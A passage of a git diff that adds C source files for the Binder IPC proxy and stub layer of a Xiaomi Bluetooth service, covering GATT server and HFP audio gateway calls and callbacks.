STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeServiceTable(parcelIn, srv_db->attr_db, srv_db->attr_num); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_SERVER_CREATE_SERVICE_TABLE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &state); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return state; +} + +bt_status_t BpBtGattServer_start(BpBtGattServer* bpBinder, void* handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_SERVER_START, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattServer_stop(BpBtGattServer* bpBinder, void* handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_SERVER_STOP, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattServer_response(BpBtGattServer* bpBinder, void* handle, uint32_t req_handle, uint8_t* value, uint16_t length) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)req_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)value, length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_SERVER_RESPONSE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattServer_notify(BpBtGattServer* bpBinder, void* handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)attr_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)value, length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_SERVER_NOTIFY, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattServer_indicate(BpBtGattServer* bpBinder, void* handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)attr_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)value, length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_SERVER_INDICATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} diff --git a/service/ipc/binder/src/gatts_stub.c b/service/ipc/binder/src/gatts_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..20632c78abca23e379218b976ff259c7a19aa16b --- /dev/null +++ b/service/ipc/binder/src/gatts_stub.c @@ -0,0 +1,348 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "gatts_service.h" +#include "service_manager.h" + +#include "gatts_callbacks_proxy.h" +#include "gatts_callbacks_stub.h" +#include "gatts_proxy.h" +#include "gatts_stub.h" +#include "parcel.h" +#include "utils/log.h" + +#define BT_GATT_SERVER_DESC "BluetoothGattServer" + +static void* IBtGattServer_Class_onCreate(void* arg) +{ + BT_LOGD("%s", __func__); + return arg; +} + +static void IBtGattServer_Class_onDestroy(void* userData) +{ + BT_LOGD("%s", __func__); +} + +static binder_status_t IBtGattServer_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* reply) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + uint32_t handle; + uint32_t status; + + gatts_interface_t* profile = (gatts_interface_t*)service_manager_get_profile(PROFILE_GATTS); + if (!profile) + return stat; + + switch (code) { + case IGATT_SERVER_REGISTER_SERVICE: { + AIBinder* remote; + + stat = AParcel_readStrongBinder(in, &remote); + if (stat != STATUS_OK) + return stat; + + if (!BtGattServerCallbacks_associateClass(remote)) { + AIBinder_decStrong(remote); + return STATUS_FAILED_TRANSACTION; + } + + if (profile->register_service((void*)remote, (void**)&handle, (gatts_callbacks_t*)BpBtGattServerCallbacks_getStatic()) != BT_STATUS_SUCCESS) { + AIBinder_decStrong(remote); + stat = AParcel_writeUint32(reply, (uint32_t)NULL); + } else { + stat = AParcel_writeUint32(reply, (uint32_t)handle); + } + break; + } + case IGATT_SERVER_UNREGISTER_SERVICE: { + AIBinder* remote = NULL; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + remote = if_gatts_get_remote((void*)handle); + status = profile->unregister_service((void*)handle); + if (status == BT_STATUS_SUCCESS) + AIBinder_decStrong(remote); + + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_SERVER_CONNECT: { + bt_address_t addr; + uint32_t addr_type; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &addr_type); + if (stat != STATUS_OK) + return stat; + + status = profile->connect((void*)handle, &addr, addr_type); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_SERVER_DISCONNECT: { + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + status = profile->disconnect((void*)handle); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_SERVER_CREATE_SERVICE_TABLE: { + gatt_srv_db_t srv_db; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readServiceTable(in, &srv_db.attr_db, &srv_db.attr_num); + if (stat != STATUS_OK) // cleanup srv_db.attr_db ? + return stat; + + gatt_attr_db_t* attr_inst = srv_db.attr_db; + for (int i = 0; i < srv_db.attr_num; i++, attr_inst++) { + if (attr_inst->read_cb) + attr_inst->read_cb = BpBtGattServerCallbacks_onRead; + if (attr_inst->write_cb) + attr_inst->write_cb = BpBtGattServerCallbacks_onWrite; + } + + status = profile->create_service_table((void*)handle, &srv_db); + stat = AParcel_writeUint32(reply, status); + attr_inst = srv_db.attr_db; + for (int i = 0; i < srv_db.attr_num; i++, attr_inst++) { + free(attr_inst->uuid); + // free(attr_inst->attr_value); + } + free(srv_db.attr_db); + break; + } + case IGATT_SERVER_START: { + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + status = profile->start((void*)handle); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_SERVER_STOP: { + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + status = profile->stop((void*)handle); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_SERVER_RESPONSE: { + uint32_t req_handle; + uint8_t* value; + uint32_t length; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &req_handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &length); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&value, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + status = profile->response((void*)handle, req_handle, value, (uint16_t)length); + free(value); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_SERVER_NOTIFY: { + uint32_t attr_handle; + uint8_t* value; + uint32_t length; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &attr_handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &length); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&value, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + status = profile->notify((void*)handle, (uint16_t)attr_handle, value, (uint16_t)length); + free(value); + stat = AParcel_writeUint32(reply, status); + break; + } + case IGATT_SERVER_INDICATE: { + uint32_t attr_handle; + uint8_t* value; + uint32_t length; + + stat = AParcel_readUint32(in, &handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &attr_handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &length); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&value, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + status = profile->indicate((void*)handle, (uint16_t)attr_handle, value, (uint16_t)length); + free(value); + stat = AParcel_writeUint32(reply, status); + break; + } + default: + break; + } + + return stat; +} + +static const AIBinder_Class* BtGattServer_getClass(void) +{ + + AIBinder_Class* clazz = AIBinder_Class_define(BT_GATT_SERVER_DESC, IBtGattServer_Class_onCreate, + IBtGattServer_Class_onDestroy, IBtGattServer_Class_onTransact); + + return clazz; +} + +static AIBinder* BtGattServer_getBinder(IBtGattServer* iGatts) +{ + AIBinder* binder = NULL; + + if (iGatts->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(iGatts->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(iGatts->clazz, (void*)iGatts); + if (iGatts->WeakBinder != NULL) { + AIBinder_Weak_delete(iGatts->WeakBinder); + } + + iGatts->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtGattServer_addService(IBtGattServer* iGatts, const char* instance) +{ + iGatts->clazz = (AIBinder_Class*)BtGattServer_getClass(); + AIBinder* binder = BtGattServer_getBinder(iGatts); + iGatts->usr_data = NULL; + + binder_status_t status = AServiceManager_addService(binder, instance); + AIBinder_decStrong(binder); + + return status; +} + +BpBtGattServer* BpBtGattServer_new(const char* instance) +{ + AIBinder* binder = NULL; + AIBinder_Class* clazz; + BpBtGattServer* bpBinder = NULL; + + clazz = (AIBinder_Class*)BtGattServer_getClass(); + binder = AServiceManager_getService(instance); + if (!binder) + return NULL; + + if (!AIBinder_associateClass(binder, clazz)) + goto bail; + + if (!AIBinder_isRemote(binder)) + goto bail; + + /* linktoDeath ? */ + + bpBinder = malloc(sizeof(*bpBinder)); + if (!bpBinder) + goto bail; + + bpBinder->binder = binder; + bpBinder->clazz = clazz; + + return bpBinder; + +bail: + AIBinder_decStrong(binder); + return NULL; +} + +void BpBtGattServer_delete(BpBtGattServer* bpBinder) +{ + AIBinder_decStrong(bpBinder->binder); + free(bpBinder); +} + +AIBinder* BtGattServer_getService(BpBtGattServer** bpGatts, const char* instance) +{ + BpBtGattServer* bpBinder = *bpGatts; + + if (bpBinder && bpBinder->binder) + return bpBinder->binder; + + bpBinder = BpBtGattServer_new(instance); + if (!bpBinder) + return NULL; + + *bpGatts = bpBinder; + + return bpBinder->binder; +} diff --git a/service/ipc/binder/src/hfp_ag_callbacks_proxy.c b/service/ipc/binder/src/hfp_ag_callbacks_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..4c51d830ffdd29674c20d4d9cd85543300fd8c34 --- /dev/null +++ b/service/ipc/binder/src/hfp_ag_callbacks_proxy.c @@ -0,0 +1,142 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "hfp_ag_callbacks_stub.h" +#include "hfp_ag_proxy.h" +#include "hfp_ag_stub.h" +#include "parcel.h" + +#include "utils/log.h" + +static void BpBtHfpAgCallbacks_connectionStateCallback(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_AG_CONNECTION_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHfpAgCallbacks_audioStateCallback(void* cookie, bt_address_t* addr, hfp_audio_state_t state) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_AG_AUDIO_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHfpAgCallbacks_vrCmdCallback(void* cookie, bt_address_t* addr, bool started) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeBool(parcelIn, started); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_AG_VR_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHfpAgCallbacks_batteryUpdateCallback(void* cookie, bt_address_t* addr, uint8_t value) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)value); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_AG_BATTERY_UPDATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static const hfp_ag_callbacks_t static_hfp_ag_cbks = { + sizeof(static_hfp_ag_cbks), + BpBtHfpAgCallbacks_connectionStateCallback, + BpBtHfpAgCallbacks_audioStateCallback, + BpBtHfpAgCallbacks_vrCmdCallback, + BpBtHfpAgCallbacks_batteryUpdateCallback +}; + +const hfp_ag_callbacks_t* BpBtHfpAgCallbacks_getStatic(void) +{ + return &static_hfp_ag_cbks; +} diff --git a/service/ipc/binder/src/hfp_ag_callbacks_stub.c b/service/ipc/binder/src/hfp_ag_callbacks_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..442630bba82b3c954023f314e6ecb1ece860d9f5 --- /dev/null +++ b/service/ipc/binder/src/hfp_ag_callbacks_stub.c @@ -0,0 +1,176 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "binder_utils.h" +#include "hfp_ag_callbacks_stub.h" +#include "hfp_ag_proxy.h" +#include "hfp_ag_stub.h" +#include "parcel.h" + +#include "bluetooth.h" +#include "utils/log.h" + +#define BT_HFP_AG_CALLBACK_DESC "BluetoothHfpAgCallback" + +static const AIBinder_Class* kIBtHfpAgCallbacks_Class = NULL; + +static void* IBtHfpAgCallbacks_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtHfpAgCallbacks_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtHfpAgCallbacks_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* out) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + IBtHfpAgCallbacks* cbks = AIBinder_getUserData(binder); + + switch (code) { + case ICBKS_HFP_AG_CONNECTION_STATE: { + uint32_t state; + bt_address_t addr; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->connection_state_cb(cbks, &addr, state); + break; + } + case ICBKS_HFP_AG_AUDIO_STATE: { + uint32_t state; + bt_address_t addr; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->audio_state_cb(cbks, &addr, state); + break; + } + case ICBKS_HFP_AG_VR_STATE: { + bool start; + bt_address_t addr; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(in, &start); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->vr_cmd_cb(cbks, &addr, start); + break; + } + case ICBKS_HFP_AG_BATTERY_UPDATE: { + uint32_t value; + bt_address_t addr; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &value); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->hf_battery_update_cb(cbks, &addr, (uint8_t)value); + break; + } + default: + break; + } + + return stat; +} + +AIBinder* BtHfpAgCallbacks_getBinder(IBtHfpAgCallbacks* cbks) +{ + AIBinder* binder = NULL; + + if (cbks->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(cbks->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(cbks->clazz, (void*)cbks); + if (cbks->WeakBinder != NULL) { + AIBinder_Weak_delete(cbks->WeakBinder); + } + + cbks->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtHfpAgCallbacks_associateClass(AIBinder* binder) +{ + if (!kIBtHfpAgCallbacks_Class) { + kIBtHfpAgCallbacks_Class = AIBinder_Class_define(BT_HFP_AG_CALLBACK_DESC, IBtHfpAgCallbacks_Class_onCreate, + IBtHfpAgCallbacks_Class_onDestroy, IBtHfpAgCallbacks_Class_onTransact); + } + + return AIBinder_associateClass(binder, kIBtHfpAgCallbacks_Class); +} + +IBtHfpAgCallbacks* BtHfpAgCallbacks_new(const hfp_ag_callbacks_t* callbacks) +{ + AIBinder_Class* clazz; + AIBinder* binder; + IBtHfpAgCallbacks* cbks = malloc(sizeof(IBtHfpAgCallbacks)); + + clazz = AIBinder_Class_define(BT_HFP_AG_CALLBACK_DESC, IBtHfpAgCallbacks_Class_onCreate, + IBtHfpAgCallbacks_Class_onDestroy, IBtHfpAgCallbacks_Class_onTransact); + + cbks->clazz = clazz; + cbks->WeakBinder = NULL; + cbks->callbacks = callbacks; + + binder = BtHfpAgCallbacks_getBinder(cbks); + AIBinder_decStrong(binder); + + return cbks; +} + +void BtHfpAgCallbacks_delete(IBtHfpAgCallbacks* cbks) +{ + assert(cbks); + + if (cbks->WeakBinder) + AIBinder_Weak_delete(cbks->WeakBinder); + + free(cbks); +} diff --git a/service/ipc/binder/src/hfp_ag_proxy.c b/service/ipc/binder/src/hfp_ag_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..7c8063607d85b27992869802fa5ebbc4c3647cda --- /dev/null +++ b/service/ipc/binder/src/hfp_ag_proxy.c @@ -0,0 +1,359 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "bt_adapter.h" + +#include "hfp_ag_proxy.h" +#include "hfp_ag_stub.h" +#include "parcel.h" +#include "utils/log.h" + +void* BpBtHfpAg_registerCallback(BpBtHfpAg* bpBinder, AIBinder* cbksBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t cookie; + + if (!bpBinder || !bpBinder->binder) + return NULL; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeStrongBinder(parcelIn, cbksBinder); + if (stat != STATUS_OK) + return NULL; + + stat = AIBinder_transact(binder, IHFP_AG_REGISTER_CALLBACK, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_readUint32(parcelOut, &cookie); + if (stat != STATUS_OK) + return NULL; + + return (void*)cookie; +} + +bool BpBtHfpAg_unRegisterCallback(BpBtHfpAg* bpBinder, void* cookie) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + bool ret; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)cookie); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IHFP_AG_UNREGISTER_CALLBACK, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bool BpBtHfpAg_isConnected(BpBtHfpAg* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + bool ret; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IHFP_AG_IS_CONNECTED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bool BpBtHfpAg_isAudioConnected(BpBtHfpAg* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + bool ret; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IHFP_AG_IS_AUDIO_CONNECTED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +profile_connection_state_t BpBtHfpAg_getConnectionState(BpBtHfpAg* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t state; + + if (!bpBinder || !bpBinder->binder) + return PROFILE_STATE_DISCONNECTED; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return PROFILE_STATE_DISCONNECTED; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return PROFILE_STATE_DISCONNECTED; + + stat = AIBinder_transact(binder, IHFP_AG_GET_CONNECTION_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return PROFILE_STATE_DISCONNECTED; + + stat = AParcel_readUint32(parcelOut, &state); + if (stat != STATUS_OK) + return PROFILE_STATE_DISCONNECTED; + + return state; +} + +bt_status_t BpBtHfpAg_connect(BpBtHfpAg* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_AG_CONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpAg_disconnect(BpBtHfpAg* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = 